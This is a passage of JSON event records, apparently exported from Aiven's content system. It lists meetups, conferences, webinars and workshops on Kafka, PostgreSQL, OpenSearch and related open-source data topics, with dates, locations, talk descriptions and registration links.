efficiency: how to cut costs and keep uptime strong","type":"livestream","virtualEvent":true} {"__i18n_lang":"en","_createdAt":"2023-11-06T12:15:18Z","_id":"c49ed1ea-5904-4081-bd23-2adcd622002d","_rev":"gpV4rQ1RP6Oi5x5QrTPnk3","_type":"event","_updatedAt":"2023-11-06T12:15:18Z","contentIsPage":false,"country":"NL","description":[{"_key":"d10a03e5ac7f","_type":"block","children":[{"_key":"412cccf9ac26","_type":"span","marks":[],"text":"We're talking robots at the Amsterdam Open Source Data Infrastructure meetup in January!"}],"markDefs":[],"style":"normal"}],"endDate":"2024-01-17T20:00:00.000Z","linkTitle":"Register","location":"Amsterdam","pageType":{"_type":"eventPage","calendlyWidget":{"height":"600px"},"heroWithCountdown":false,"iframeForm":{"iframeHeight":800},"replaceContent":false},"primaryCTA":{"_type":"link","externalUrl":"https://www.meetup.com/amsterdam-open-source-data-infrastructure-meetup/events/297192186/","title":"RSVP"},"region":"EMEA","startDate":"2024-01-17T17:00:00.000Z","title":"Amsterdam OSDI","type":"meetup"} {"__i18n_lang":"en","_createdAt":"2023-01-11T08:37:07Z","_id":"c5648edc-9ce3-48f5-ae28-8821c50403c8","_rev":"RC5pgePlmGi6uvVNnKt4x8","_type":"event","_updatedAt":"2023-02-21T13:01:28Z","country":"US","description":[{"_key":"0da76707add9","_type":"block","children":[{"_key":"053ad6326cc20","_type":"span","marks":[],"text":"Devnexus is the premier conference by the Atlanta Java Users Group. Join our Senior Developer Advocate, Olena Kutsenko, for her talk \""},{"_key":"7532963a1b42","_type":"span","marks":["856d6cb9fc13"],"text":"Beginners guide to balance your data across Apache Kafka partitions"},{"_key":"134495a399ac","_type":"span","marks":[],"text":"\"."}],"markDefs":[{"_key":"856d6cb9fc13","_type":"link","href":"https://devnexus.com/presentations/beginners-guide-to-balance-your-data-across-apache-kafka-partitions"}],"style":"normal"}],"endDate":"2023-04-06T15:00:00.000Z","location":"Atlanta, Georgia","primaryCTA":{"_type":"link","externalUrl":"https://devnexus.com/","title":"Register"},"region":"AMER","startDate":"2023-04-04T07:00:00.000Z","title":"DevNexus 2023","type":"event"} {"__i18n_lang":"en","_createdAt":"2023-10-02T13:14:06Z","_id":"c962a919-d818-4b4d-ba66-b9630534352a","_rev":"rpwBSMa1i11HwZnbWuldB3","_type":"event","_updatedAt":"2023-10-02T13:14:06Z","contentIsPage":false,"country":"DE","description":[{"_key":"4cde70d935a2","_type":"block","children":[{"_key":"d4440ba1afbc0","_type":"span","marks":[],"text":"Join us on October 19, at the Munich Open Source Data Infrastructure meetup, for talks on the Data Engineering Stack at 4.screen, and Kafka Tiered Storage. "}],"markDefs":[],"style":"normal"}],"endDate":"2023-10-19T19:00:00.000Z","linkTitle":"Register","location":"Munich","pageType":{"_type":"eventPage","calendlyWidget":{"height":"600px"},"iframeForm":{"iframeHeight":800},"replaceContent":false},"primaryCTA":{"_type":"link","externalUrl":"https://www.meetup.com/munich-open-source-data-infrastructure-meetup/events/296399741/","title":"RSVP"},"region":"EMEA","startDate":"2023-10-19T16:30:00.000Z","title":"Munich OSDI","type":"meetup"} {"__i18n_lang":"en","_createdAt":"2023-08-14T09:30:26Z","_id":"cb605fef-c842-42ca-af05-e57f34cdfeda","_rev":"BjY9n6joNYFLmv1rs6LMp1","_type":"event","_updatedAt":"2023-11-30T08:35:54Z","description":[{"_key":"ee0a1b5191ca","_type":"block","children":[{"_key":"d269a2a4d62b","_type":"span","marks":[],"text":"Join Jenn Junod for her talk \"Lessons Learned While Learning Live\", online and from the comfort of your sofa. Also: Floor Drees is hosting parts of the event."}],"markDefs":[],"style":"normal"}],"endDate":"2023-09-22T15:00:00.000Z","primaryCTA":{"_type":"link","externalUrl":"https://typescriptcongress.com/","title":"Register"},"startDate":"2023-09-21T07:00:00.000Z","talks":[{"_key":"3cc25e821e8e","_type":"talk","description":[{"_key":"a04ce3a49826","_type":"block","children":[{"_key":"b5c31b7dbee70","_type":"span","marks":[],"text":"One year and 100+ videos streamed, learning TypeScript the way I learn, has helped it click in a snowball effect helping other topics ranging from Python to APIs make more sense."}],"markDefs":[],"style":"normal"},{"_key":"6fabb54de0ef","_type":"block","children":[{"_key":"aeb887d49104","_type":"span","marks":["332f1a1f23ff"],"text":"Slides"}],"level":1,"listItem":"bullet","markDefs":[{"_key":"332f1a1f23ff","_type":"link","href":"https://www.canva.com/design/DAFssNhQJFA/HYe56V10ijjWzVcV5kd0Pw/view?utm_content=DAFssNhQJFA\u0026utm_campaign=designshare\u0026utm_medium=link\u0026utm_source=publishsharelink"}],"style":"normal"},{"_key":"529e5f147441","_type":"block","children":[{"_key":"b6e15b0373fa","_type":"span","marks":["91aa0ec674a7"],"text":"Recording"}],"level":1,"listItem":"bullet","markDefs":[{"_key":"91aa0ec674a7","_type":"link","href":"https://portal.gitnation.org/contents/lessons-learned-while-learning-live"}],"style":"normal"}],"speakers":[{"_key":"316ea10e8f46","_ref":"5b409a95-23dd-4956-910a-df038eb978ff","_type":"reference"}],"title":"Lessons Learned While Learning Live"}],"title":"TypeScript Congress","type":"conference","virtualEvent":true} {"__i18n_lang":"en","_createdAt":"2024-08-13T11:15:46Z","_id":"d2e59c76-e694-436c-9460-0d4df6e2c877","_rev":"eaCZ7mIhmiYZX5KGqRVgVp","_type":"event","_updatedAt":"2024-09-09T06:46:06Z","contentIsPage":false,"country":"US","description":[{"_key":"c4546f9b438e","_type":"block","children":[{"_key":"6cff5481b0c10","_type":"span","marks":[],"text":"The largest open source / web / tech conference on the U.S. east coast."}],"markDefs":[],"style":"normal"}],"endDate":"2024-10-29T17:00:00.000Z","hideInEventPage":false,"linkTitle":"Register","location":"Raleigh, NC USA","pageType":{"_type":"eventPage","heroVisualType":"image","heroWithCountdown":false,"iframeForm":{"iframeHeight":800},"isCaptionShown":false,"replaceContent":false},"primaryCTA":{"_type":"link","externalUrl":"https://allthingsopen.org/","title":"Join"},"region":"AMER","startDate":"2024-10-27T07:00:00.000Z","talks":[{"_key":"a026a8b82a11","_type":"talk","description":[{"_key":"9ff4a673c7f0","_type":"block","children":[{"_key":"d384573e8f5c0","_type":"span","marks":[],"text":"It’s fascinating how vector search boosted the usage of contextual search across numerous applications."}],"markDefs":[],"style":"normal"},{"_key":"063dc8ecf956","_type":"block","children":[{"_key":"c283e454a93d0","_type":"span","marks":[],"text":"The underlying idea is quite straightforward. For example, let’s take a movie recommendation system. The idea is first to represent each movie in our catalog as a vector, a numerical representation of a piece of text...."}],"markDefs":[],"style":"normal"}],"speakers":[{"_key":"09bf44819192","_ref":"0751a33e-612e-404f-9e77-0b5da9ec746a","_type":"reference"}],"title":"A deep dive into vector search technology and tools"}],"title":"All things open","type":"event"} {"__i18n_lang":"en","_createdAt":"2023-08-04T13:04:06Z","_id":"cf756701-5900-4a9f-ab03-13bf6b25c751","_rev":"j8zlcOglbixmeZF8cPUaA2","_type":"event","_updatedAt":"2024-01-16T12:05:12Z","description":[{"_key":"07911272894c","_type":"block","children":[{"_key":"e4ac6215dc130","_type":"span","marks":[],"text":"During this webinar, we will be sharing the latest product announcements from the Aiven platform from Q4 2023 and take a sneak peek of what's coming in Q1 2024."}],"markDefs":[],"style":"normal"}],"endDate":"2024-02-06T17:00:00.000Z","image":{"_type":"mainImage","asset":{"_ref":"image-c93ea072cd0da69a9dac730d354df1b008d269e7-1200x628-png","_type":"reference"}},"primaryCTA":{"_type":"link","internalLink":{"_ref":"9031be69-3e30-4682-aa3a-b0e4d54cf7b1","_type":"reference"},"title":"Register "},"startDate":"2024-02-06T16:00:00.000Z","tags":[{"_key":"c31a3c70fc45","_ref":"29ac1f18-a883-4795-be2c-db6bdec86ace","_type":"tag"},{"_key":"20a2c11ede5d","_ref":"010c153e-6cdd-435a-ac5a-7800b7380103","_type":"tag"},{"_key":"add68390fbb1","_ref":"3314b5d5-e0fa-4c8e-9f6e-a7564aa5c632","_type":"tag"},{"_key":"fe341b8dfddf","_ref":"74fb3012-db48-4619-8eae-6655740e61c2","_type":"tag"}],"title":"What's New with Aiven - Q4 2023/Q1 2024 - Latest product updates and features in the Aiven Platform","type":"webinar","virtualEvent":true} {"__i18n_lang":"en","_createdAt":"2023-07-07T10:03:13Z","_id":"d0981e95-98ad-488e-838d-660016f3b3e4","_rev":"RDKiu78Yog1C5spl4o2o9b","_type":"event","_updatedAt":"2023-07-07T10:03:13Z","country":"DE","description":[{"_key":"a14d9ffc954f","_type":"block","children":[{"_key":"4661ec0a942d","_type":"span","marks":[],"text":"Meet the AWS community, and join Olena Kutsenko for her talk \"Using OpenSearch and Apache Kafka to explore Mastodon\"."}],"markDefs":[],"style":"normal"}],"endDate":"2023-09-14T15:00:00.000Z","location":"Munich","primaryCTA":{"_type":"link","externalUrl":"https://www.aws-community-day.de/","title":"Attend"},"region":"EMEA","startDate":"2023-09-14T07:00:00.000Z","talks":[{"_key":"4bedc1f89ecb","_type":"talk","description":[{"_key":"37d057fe4bce","_type":"block","children":[{"_key":"cd27c4d92cee0","_type":"span","marks":[],"text":"This talk is for both beginners and intermediate users. We'll use some more advanced concepts and a bit of TypeScript code, but will keep it all simple, so that everyone can follow along and experiment with Mastodon data!"}],"markDefs":[],"style":"normal"}],"speakers":[{"_key":"76f276b6b913","_ref":"0751a33e-612e-404f-9e77-0b5da9ec746a","_type":"reference"}],"title":"Using OpenSearch and Apache Kafka to explore Mastodon"}],"title":"AWS Community Day","type":"event"} {"__i18n_lang":"en","_createdAt":"2024-05-11T13:31:35Z","_id":"d338d193-2620-4ecd-86ef-2ee1a36f51d1","_rev":"qnoh2pCVRlOXH0AEWAe3XF","_type":"event","_updatedAt":"2024-05-11T13:31:35Z","contentIsPage":false,"country":"US","description":[{"_key":"acfd423f607b","_type":"block","children":[{"_key":"3cc5e8b5fdda","_type":"span","marks":[],"text":"Greg Harris, Staff Software Engineer at Aiven, will present “Help, My Connector has a mind of its own!” at the Confluent meetup in a series leading up to Current."}],"markDefs":[],"style":"normal"}],"endDate":"2024-06-27T18:00:00.000Z","hideInEventPage":false,"linkTitle":"Register","location":"Bay Area","pageType":{"_type":"eventPage","heroWithCountdown":false,"iframeForm":{"iframeHeight":800},"isCaptionShown":false,"replaceContent":false},"primaryCTA":{"_type":"link","externalUrl":"https://www.meetup.com/kafkabayarea/events/300663287/","title":"RSVP"},"region":"AMER","startDate":"2024-06-27T15:30:00.000Z","title":"Apache Kafka Meetup","type":"meetup"} {"__i18n_lang":"en","_createdAt":"2023-03-28T06:54:05Z","_id":"d47ae445-8600-490c-81cb-bbdfcae6dd4b","_rev":"K4OjmPZwqkJMmxhvoa1hme","_type":"event","_updatedAt":"2023-10-27T14:57:58Z","country":"LT","description":[{"_key":"796e9c146bbf","_type":"block","children":[{"_key":"0077eb299a51","_type":"span","marks":[],"text":"Online and in-person, DevDays sets out to \"empower your development\". With 130+ speakers, spread over 6 tracks, make sure to say hi to our Floor Drees!"}],"markDefs":[],"style":"normal"}],"endDate":"2023-05-26T15:00:00.000Z","location":"Vilnius","primaryCTA":{"_type":"link","externalUrl":"https://devdays.lt/#","title":"Join"},"region":"EMEA","startDate":"2023-05-23T07:00:00.000Z","talks":[{"_key":"bd1ccf039969","_type":"talk","description":[{"_key":"a7eae2718239","_type":"block","children":[{"_key":"d8cdfc292133","_type":"span","marks":[],"text":"Talk around why you should build license awareness in your CI/CD, and some pointers as to how to do that."}],"markDefs":[],"style":"normal"},{"_key":"cfc2f1fb6061","_type":"block","children":[{"_key":"c622e18ff9cc","_type":"span","marks":["3edf22c8089a"],"text":"Link to slides"}],"level":1,"listItem":"bullet","markDefs":[{"_key":"3edf22c8089a","_type":"link","href":"https://drive.google.com/file/d/1nQWD9F4PA8S8lbIkHubUCcwjlxGXR9Me/view?usp=drive_link"}],"style":"normal"}],"speakers":[{"_key":"d57a12004e89","_ref":"7406d8d2-3acb-4a35-9f9d-1c8ce934d395","_type":"reference"}],"title":"Building license management in your pipelines"}],"title":"DevDays Europe","type":"conference"} {"__i18n_lang":"en","_createdAt":"2023-03-17T08:18:51Z","_id":"d55b95c2-fbe4-4c8b-9cb3-d1237567498e","_rev":"ULcVtA1fOCO5xNRu1hshbv","_type":"event","_updatedAt":"2023-04-17T10:35:59Z","country":"NL","description":[{"_key":"c94c1ec6d71a","_type":"block","children":[{"_key":"c27b21ffcbfd0","_type":"span","marks":[],"text":"Sébastien Blanc, Staff Developer Advocate, and Floor Drees, Staff Community Program Manager, will be at KubeCon, and "},{"_key":"d33a2971d339","_type":"span","marks":["a8a5dd37f98e"],"text":"co-host a meetup with PingCAP"},{"_key":"63307112cee1","_type":"span","marks":[],"text":"."}],"markDefs":[{"_key":"a8a5dd37f98e","_type":"link","href":"https://www.meetup.com/nl-NL/amsterdam-open-source-data-infrastructure-meetup/"}],"style":"normal"}],"endDate":"2023-04-21T07:20:00.000Z","location":"Amsterdam","primaryCTA":{"_type":"link","externalUrl":"https://events.linuxfoundation.org/kubecon-cloudnativecon-europe/","title":"Say hi"},"region":"EMEA","startDate":"2023-04-18T07:20:00.000Z","title":"KubeCon","type":"conference"} {"__i18n_lang":"en","_createdAt":"2023-01-11T08:31:57Z","_id":"d8c06112-5f6c-4a34-8b92-4c8cb55ac71a","_rev":"pxdTVqM9Iazv4GeKSq2vrS","_type":"event","_updatedAt":"2023-02-21T13:01:54Z","country":"NL","description":[{"_key":"30c9eb2879b9","_type":"block","children":[{"_key":"814b83b3677d","_type":"span","marks":[],"text":"Are you a Ruby developer based in Amsterdam? Join Floor Drees to hear about \"What Rubyists need to know to start securing their open source software supply chains.\" "}],"markDefs":[],"style":"normal"}],"endDate":"2023-03-21T21:00:00.000Z","location":"Amsterdam","primaryCTA":{"_type":"link","externalUrl":"https://www.meetup.com/nl-NL/amsterdam-rb/events/289818356/","title":"RSVP"},"region":"EMEA","startDate":"2023-03-21T18:00:00.000Z","title":"Amsterdam Ruby Meetup","type":"meetup"} {"__i18n_lang":"en","_createdAt":"2023-03-17T08:15:49Z","_id":"db827d51-5eda-471c-bf13-18115cc075f3","_rev":"FyKybxTQXmO9mB4Bp9X4Zw","_type":"event","_updatedAt":"2023-03-17T08:15:49Z","description":[{"_key":"34a4a4851769","_type":"block","children":[{"_key":"05fd763afc97","_type":"span","marks":[],"text":"Olena Kutsenko, Senior Developer Advocate, and Ewelina Grajko, Sustainability Lead, will speak at FemTechConf Live, an event we're also proud to sponsor."}],"markDefs":[],"style":"normal"}],"endDate":"2023-03-25T08:12:00.000Z","primaryCTA":{"_type":"link","externalUrl":"https://www.femtechconf.com/","title":"Join"},"startDate":"2023-03-24T08:11:00.000Z","title":"FemTechConf","type":"event","virtualEvent":true} {"__i18n_lang":"en","_createdAt":"2024-06-05T12:20:13Z","_id":"dff66529-968e-499b-be8d-e06ef65d371b","_rev":"5fcwn9xvrPGrDleeYufJJa","_type":"event","_updatedAt":"2024-07-24T16:29:57Z","contentIsPage":false,"description":[{"_key":"b0d9e019ad5e","_type":"block","children":[{"_key":"4e52d918a47b0","_type":"span","marks":[],"text":"In this online workshop you'll learn the basics of query optimization in PostgreSQL®. From understanding the path of the query to optimizing your indexes and joins, we’ll cover the foundation, tools and techniques to improve the performance of your SQL queries."}],"markDefs":[],"style":"normal"},{"_key":"dc284136f148","_type":"block","children":[{"_key":"8ac15685fd650","_type":"span","marks":[],"text":"This workshop is one hour long. Open to beginner levels, though the knowledge of SQL basics is desired."}],"markDefs":[],"style":"normal"}],"endDate":"2024-08-21T17:00:00.000Z","hideInEventPage":false,"image":{"_type":"mainImage","alt":"Boost your PostgreSQL® skills: Beginner's guide to SQL optimization.","asset":{"_ref":"image-3d3c4c9abf78175a11dbe90261953e3ecd6a0fff-1200x628-png","_type":"reference"}},"linkTitle":"Register","pageType":{"_type":"eventPage","heroWithCountdown":false,"iframeForm":{"iframeHeight":800},"isCaptionShown":false,"replaceContent":false},"primaryCTA":{"_type":"link","externalUrl":"https://aiven.io/workshop/sql-optimization-101","internalLink":{"_ref":"7a9f8186-a601-4b72-bc0b-c21858024f23","_type":"reference"},"title":"Sign up"},"startDate":"2024-08-21T16:00:00.000Z","title":"Boost your PostgreSQL® skills: Beginner's guide to SQL optimization.","type":"workshop","virtualEvent":true} {"__i18n_lang":"en","_createdAt":"2023-12-21T20:22:15Z","_id":"e04df82a-6240-4a10-bb56-560a4b6c4eb9","_rev":"O0EfMG90JIl2OD8UsH66B1","_type":"event","_updatedAt":"2024-01-08T12:54:27Z","contentIsPage":false,"country":"US","description":[{"_key":"8c7f93806604","_type":"block","children":[{"_key":"c822c0f3ef2a0","_type":"span","marks":[],"text":"Join our Bay Area Open Source Data Infrastructure Meetup, February 1st!"}],"markDefs":[],"style":"normal"}],"endDate":"2024-03-13T20:00:00.000Z","linkTitle":"Register","location":"Bay Area","pageType":{"_type":"eventPage","calendlyWidget":{"height":"600px"},"heroWithCountdown":false,"iframeForm":{"iframeHeight":800},"isCaptionShown":false,"replaceContent":false},"primaryCTA":{"_type":"link","externalUrl":"https://www.meetup.com/bay-area-open-source-data-infrastructure-meetup/events/297800052/","title":"RSVP"},"region":"AMER","startDate":"2024-03-13T17:00:00.000Z","title":"Bay Area OSDI","type":"meetup"} {"__i18n_lang":"en","_createdAt":"2023-05-16T11:26:58Z","_id":"e40911cd-3102-4ae2-86d8-11ed7749856f","_rev":"THDGXgbtbTWNUZ8wxmRngx","_type":"event","_updatedAt":"2023-05-16T11:26:58Z","country":"GB","description":[{"_key":"21480207481f","_type":"block","children":[{"_key":"cdcabf38b47b0","_type":"span","marks":[],"text":"For this years tech week, we're partnering with the AI and Deep Learning for Enterprise for an extra-large open source themed Meetup you don't want to miss!"}],"markDefs":[],"style":"normal"}],"endDate":"2023-06-14T19:30:00.000Z","location":"London","primaryCTA":{"_type":"link","externalUrl":"https://www.meetup.com/uk-open-source-data-infrastructure-meetup/events/293469951/","title":"Join"},"region":"EMEA","startDate":"2023-06-14T16:30:00.000Z","title":"OSDI London","type":"meetup"} {"__i18n_lang":"en","_createdAt":"2023-08-04T13:29:26Z","_id":"e413e601-0d0c-4687-9f15-3def797f853e","_rev":"ZpixvKy5oWJdKYmQwc98uS","_type":"event","_updatedAt":"2023-09-11T12:36:52Z","country":"DE","description":[{"_key":"f5432a6ada06","_type":"block","children":[{"_key":"fece9196a4620","_type":"span","marks":[],"text":"Join Aiven at Stackconf - the conference for modern cloud infrastructure. "}],"markDefs":[],"style":"normal"},{"_key":"2ece1e4811d1","_type":"block","children":[{"_key":"5fd5d888b5c60","_type":"span","marks":[],"text":"Use this discount code to get 20% off AIVEN_DISCOUNTED_TICKETS@STACKCONF2023"}],"markDefs":[],"style":"normal"}],"endDate":"2023-09-14T15:15:00.000Z","location":"NH Berlin Alexanderplatz, Berlin ","primaryCTA":{"_type":"link","externalUrl":"https://stackconf.eu/tickets/","title":"Register"},"region":"EMEA","startDate":"2023-09-13T07:00:00.000Z","title":"Stackconf: Cloud Native Infrastructure Solutions to events page","type":"conference"} {"__i18n_lang":"en","_createdAt":"2023-08-29T08:39:03Z","_id":"e4611312-3957-4577-b0a4-41734e03e1de","_rev":"JgIs2qI3CUllaKCG3WJzph","_type":"event","_updatedAt":"2023-08-29T08:39:03Z","country":"IT","description":[{"_key":"2772244d03a2","_type":"block","children":[{"_key":"3db3285e2cfe","_type":"span","marks":[],"text":"Join Francesco for his session \"Event Driven Applications with Flask and Kafka\"."}],"markDefs":[],"style":"normal"}],"endDate":"2022-06-05T15:00:00.000Z","location":"Florence","region":"EMEA","startDate":"2022-06-02T07:00:00.000Z","talks":[{"_key":"ae2aa114263b","_type":"talk","description":[{"_key":"9281ffc60fb5","_type":"block","children":[{"_key":"95b73754dbdf0","_type":"span","marks":[],"text":"If you're using Flask, and want to understand how to make your application event driven by integrating it with the most used streaming technology, this session is for you!"}],"markDefs":[],"style":"normal"},{"_key":"7e06fa049bad","_type":"block","children":[{"_key":"fb3a4d8bb4eb","_type":"span","marks":[],"text":""}],"markDefs":[],"style":"normal"},{"_key":"cb7dfa668937","_type":"block","children":[{"_key":"9da0f2c82767","_type":"span","marks":[],"text":"- "},{"_key":"6e792bbf1a3f","_type":"span","marks":["3213db0f1061"],"text":"Slides"}],"markDefs":[{"_key":"3213db0f1061","_type":"link","href":"https://ftisiot.net/talks/flask-kafka/"}],"style":"normal"},{"_key":"0df402547827","_type":"block","children":[{"_key":"ffb711c07b7f","_type":"span","marks":[],"text":"- "},{"_key":"3cd3a1e4d79b","_type":"span","marks":["302b7e8a966e"],"text":"Recording"}],"markDefs":[{"_key":"302b7e8a966e","_type":"link","href":"https://www.youtube.com/watch?v=hfi_ALPlsOQ"}],"style":"normal"}],"speakers":[{"_key":"fefb3f207dcc","_ref":"0ed302d4-35dd-4e1e-847e-03c9e41d2c10","_type":"reference"}],"title":"Event Driven Applications with Flask and Kafka"}],"title":"PyCon Italy 2022","type":"conference"} {"__i18n_lang":"en","_createdAt":"2024-02-01T04:28:14Z","_id":"e47bbec3-c228-4428-80eb-e3028ad48781","_rev":"ZLvKaZvfbZlWBlGcpPOQ4R","_type":"event","_updatedAt":"2024-02-01T04:48:51Z","contentIsPage":false,"country":"NZ","description":[{"_key":"7727da906331","_type":"block","children":[{"_key":"f5420f6bf07a0","_type":"span","marks":[],"text":"How well are you operating in the cloud and are you getting the most out of it? The "},{"_key":"50bc761a64d4","_type":"span","marks":["2c5d746b6b6f"],"text":"Cloud and Platform Engineering Summit NZ"},{"_key":"142ed644f023","_type":"span","marks":[],"text":" brings together senior cloud and tech leaders to discuss how we can leverage cloud as the enabler of a new era in digital business."}],"markDefs":[{"_key":"2c5d746b6b6f","_type":"link","href":"https://forefrontevents.co/event/cloud-platform-strategy-engineering-summit-nz-2024/"}],"style":"normal"},{"_key":"81d6b3cb0f37","_type":"block","children":[{"_key":"ee726e2f4e6d0","_type":"span","marks":["strong"],"text":"Drop by our stand "},{"_key":"394d32ccac07","_type":"span","marks":[],"text":"to share your experiences and challenges with cloud infrastructure, our experts will be there to lend an ear and showcase how Aiven can help."}],"markDefs":[],"style":"normal"}],"endDate":"2024-02-29T06:00:00.000Z","image":{"_type":"mainImage","alt":"Cloud and Platform Engineering Summit NZ cover image","asset":{"_ref":"image-92fa62e21bae388ad0ca8017c31285be8d9ac13e-1200x628-png","_type":"reference"}},"linkTitle":"Register","location":"Auckland","pageType":{"_type":"eventPage","calendlyWidget":{"height":"600px"},"heroWithCountdown":false,"iframeForm":{"iframeHeight":800},"isCaptionShown":false,"replaceContent":false},"primaryCTA":{"_type":"link","externalUrl":"https://contact.aiven.co/c/Pranay_Shree#/select-time ","title":"Book a meeting at the stand"},"region":"APAC","startDate":"2024-02-28T21:00:00.000Z","title":"Cloud and Platform Engineering Summit NZ","type":"conference"} {"__i18n_lang":"en","_createdAt":"2023-06-05T07:50:28Z","_id":"e728dbf0-2d30-4199-a99b-fadf7da97c93","_rev":"dsxJlHxlnt5nZt5n2AEejK","_type":"event","_updatedAt":"2023-06-12T07:26:17Z","country":"JP","description":[{"_key":"e30ed02025e8","_type":"block","children":[{"_key":"8e2b45e1ec08","_type":"span","marks":[],"text":"Join for the Tokyo Open Source Data Infrastructure meetup, at the Red Hat Japan office!"}],"markDefs":[],"style":"normal"}],"endDate":"2023-06-27T18:00:00.000Z","location":"Tokyo","primaryCTA":{"_type":"link","externalUrl":"https://www.meetup.com/tokyo-open-source-data-infrastructure-meetup/events/293854426/","title":"RSVP"},"region":"APAC","startDate":"2023-06-27T16:30:00.000Z","title":"OSDI Tokyo","type":"meetup"} {"__i18n_lang":"en","_createdAt":"2023-11-17T10:29:03Z","_id":"e730324f-149a-4fa4-87b1-ff147b9eaced","_rev":"BjY9n6joNYFLmv1rryXhSF","_type":"event","_updatedAt":"2023-11-17T10:29:03Z","contentIsPage":false,"country":"GB","description":[{"_key":"8e7d4777b030","_type":"block","children":[{"_key":"b44e71e5c1f2","_type":"span","marks":[],"text":"The last London Open Source Data Infrastructure Meetup of the year brings you talks by Mark Needham, Product Marketing Engineer at ClickHouse, and Tun Shwe, VP of Data and DevRel at Quix."}],"markDefs":[],"style":"normal"}],"endDate":"2023-12-06T20:00:00.000Z","linkTitle":"Register","location":"London","pageType":{"_type":"eventPage","calendlyWidget":{"height":"600px"},"heroWithCountdown":false,"iframeForm":{"iframeHeight":800},"replaceContent":false},"primaryCTA":{"_type":"link","externalUrl":"https://www.meetup.com/uk-open-source-data-infrastructure-meetup/events/297395569/","title":"RSVP"},"region":"EMEA","startDate":"2023-12-06T18:00:00.000Z","title":"London OSDI","type":"meetup"} {"__i18n_lang":"en","_createdAt":"2023-09-05T14:49:04Z","_id":"e782a218-c904-4b21-8a8d-c3963da7994b","_rev":"jBJgpqpGruZvOgVMUAJZGz","_type":"event","_updatedAt":"2023-09-05T14:49:04Z","contentIsPage":false,"country":"RO","description":[{"_key":"02bdd25f394f","_type":"block","children":[{"_key":"d174c7962128","_type":"span","marks":[],"text":"Join Sebastien Blanc's session \"Building your Event Driven infrastructure within 1 hour\"."}],"markDefs":[],"style":"normal"}],"endDate":"2023-06-08T15:00:00.000Z","linkTitle":"Register","location":"Transylvania","pageType":{"_type":"eventPage","calendlyWidget":{"height":"90vh"},"iframeForm":{"iframeHeight":800}},"primaryCTA":{"_type":"link","externalUrl":"https://techsylvania.com/","title":"Register"},"region":"EMEA","startDate":"2023-06-07T07:00:00.000Z","talks":[{"_key":"c483419c12b6","_type":"talk","description":[{"_key":"a0d78d28ba37","_type":"block","children":[{"_key":"5ce363da017b","_type":"span","marks":[],"text":"Follow "},{"_key":"6c70309113ae","_type":"span","marks":["727a9e9981df"],"text":"the workshop"},{"_key":"59f8b5c2cdb0","_type":"span","marks":[],"text":" on-demand."}],"markDefs":[{"_key":"727a9e9981df","_type":"link","href":"https://github.com/Aiven-Labs/chat-app-workshop"}],"style":"normal"}],"speakers":[{"_key":"eb02ea812517","_ref":"8e573fc1-3cd0-4232-aea9-4e0adbc1754a","_type":"reference"}],"title":"Building your Event Driven infrastructure within 1 hour"}],"title":"Techsylvania","type":"conference"} {"__i18n_lang":"en","_createdAt":"2024-04-16T09:59:55Z","_id":"e99fd466-76de-46d0-82f1-c2bcc358bf03","_rev":"tjPe8NTsnBiKCcWiYXscv6","_type":"event","_updatedAt":"2024-04-16T11:21:30Z","contentIsPage":false,"country":"CH","description":[{"_key":"071ba3024591","_type":"block","children":[{"_key":"97d1da71b184","_type":"span","marks":[],"text":"Join Dirk Krautschick, Matt Cornillon, and Patrick Stählin for their talks at this PostgreSQL event!"}],"markDefs":[],"style":"normal"}],"endDate":"2024-06-28T15:00:00.000Z","hideInEventPage":false,"linkTitle":"Register","location":"Rapperswil","pageType":{"_type":"eventPage","heroWithCountdown":false,"iframeForm":{"iframeHeight":800},"isCaptionShown":false,"replaceContent":false},"primaryCTA":{"_type":"link","externalUrl":"https://www.pgday.ch/2024/","title":"Register"},"region":"EMEA","startDate":"2024-06-27T07:00:00.000Z","title":"Swiss PGDay","type":"conference"} {"__i18n_lang":"en","_createdAt":"2023-09-05T14:19:37Z","_id":"ebf16712-ac37-4b7e-88ac-0c07f1767c57","_rev":"32UIWu72Mqx9RU6wIKINgb","_type":"event","_updatedAt":"2023-09-05T14:19:37Z","contentIsPage":false,"country":"FR","description":[{"_key":"ded31fed3792","_type":"block","children":[{"_key":"42c73f2a1635","_type":"span","marks":[],"text":"Find Sebastien Blanc, Staff Developer Advocate, at \"KCD\" France!"}],"markDefs":[],"style":"normal"}],"endDate":"2023-03-07T16:00:00.000Z","linkTitle":"Register","location":"Paris","pageType":{"_type":"eventPage","calendlyWidget":{"height":"90vh"},"iframeForm":{"iframeHeight":800}},"primaryCTA":{"_type":"link","externalUrl":"https://www.kcdfrance.fr/","title":"Join"},"region":"EMEA","startDate":"2023-03-07T08:00:00.000Z","talks":[{"_key":"21995237b7fe","_type":"talk","description":[{"_key":"652589e2da19","_type":"block","children":[{"_key":"8546a310952c","_type":"span","marks":[],"text":"Co-presentation with Aurélie Vache from OVH Cloud, in French. \n\n- "},{"_key":"11b571443f87","_type":"span","marks":["d37632ef91fe"],"text":"Recording"},{"_key":"dc771e31105e","_type":"span","marks":[],"text":" "}],"markDefs":[{"_key":"d37632ef91fe","_type":"link","href":"https://www.youtube.com/watch?v=2dmMJbA-2MU\u0026list=PLmZ3gFl2Aqt9qJmS_yDQNPDG4pf6LdWPp\u0026index=4\u0026ab_channel=KCDFrance"}],"style":"normal"},{"_key":"1e95490d6bef","_type":"block","children":[{"_key":"5bb9d10af0930","_type":"span","marks":[],"text":"- "},{"_key":"bb717cde1b52","_type":"span","marks":["7503c290def2"],"text":"Slides"},{"_key":"52565701560e","_type":"span","marks":[],"text":" "}],"markDefs":[{"_key":"7503c290def2","_type":"link","href":"https://noti.st/aurelievache/U3D8ax/creer-un-plugin-pour-kubernetes-en-quelques-minutes-easy"}],"style":"normal"}],"speakers":[{"_key":"503de2e4b132","_ref":"8e573fc1-3cd0-4232-aea9-4e0adbc1754a","_type":"reference"}],"title":"Building and distributing a Kubectl plugin (FR)"}],"title":"Kubernetes Community Days","type":"conference"} {"__i18n_lang":"en","_createdAt":"2023-02-17T10:51:25Z","_id":"ec923f99-93fb-448a-abd6-853cc936fca4","_rev":"tW7kMBSHIbCIaN9dzYYVjC","_type":"event","_updatedAt":"2023-06-15T12:31:04Z","country":"GB","description":[{"_key":"3e99656aaaf5","_type":"block","children":[{"_key":"ae4fd3b51d2b","_type":"span","marks":[],"text":"Join Ben Gamble for his talk \""},{"_key":"9ba29d9c6821","_type":"span","marks":["d6436094943a"],"text":"Connecting the Dots: API Design in a Distributed World"},{"_key":"888a8bb916eb","_type":"span","marks":[],"text":"\" in-person or online, at the QCon London international software development 